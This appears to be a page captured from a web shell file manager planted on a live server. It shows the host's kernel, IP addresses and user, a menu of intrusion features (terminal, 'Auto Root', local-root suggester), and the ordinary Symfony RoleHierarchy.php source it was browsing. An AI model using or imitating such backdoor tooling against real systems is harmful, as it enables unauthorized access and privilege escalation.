Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.14.152.212
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
security-core /
Role /
Delete
Unzip
Name
Size
Permission
Date
Action
Role.php
521
B
-rw-rw-r--
2022-07-20 13:00
RoleHierarchy.php
1.97
KB
-rw-rw-r--
2022-07-20 13:00
RoleHierarchyInterface.php
590
B
-rw-rw-r--
2022-07-20 13:00
SwitchUserRole.php
451
B
-rw-rw-r--
2022-07-20 13:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Security\Core\Role; /** * RoleHierarchy defines a role hierarchy. * * @author Fabien Potencier <fabien@symfony.com> */ class RoleHierarchy implements RoleHierarchyInterface { private $hierarchy; /** @var array<string, list<string>> */ protected $map; /** * @param array<string, list<string>> $hierarchy */ public function __construct(array $hierarchy) { $this->hierarchy = $hierarchy; $this->buildRoleMap(); } /** * {@inheritdoc} */ public function getReachableRoleNames(array $roles): array { $reachableRoles = $roles; foreach ($roles as $role) { if (!isset($this->map[$role])) { continue; } foreach ($this->map[$role] as $r) { $reachableRoles[] = $r; } } return array_values(array_unique($reachableRoles)); } protected function buildRoleMap() { $this->map = []; foreach ($this->hierarchy as $main => $roles) { $this->map[$main] = $roles; $visited = []; $additionalRoles = $roles; while ($role = array_shift($additionalRoles)) { if (!isset($this->hierarchy[$role])) { continue; } $visited[] = $role; foreach ($this->hierarchy[$role] as $roleToAdd) { $this->map[$main][] = $roleToAdd; } foreach (array_diff($this->hierarchy[$role], $visited) as $additionalRole) { $additionalRoles[] = $additionalRole; } } $this->map[$main] = array_unique($this->map[$main]); } } }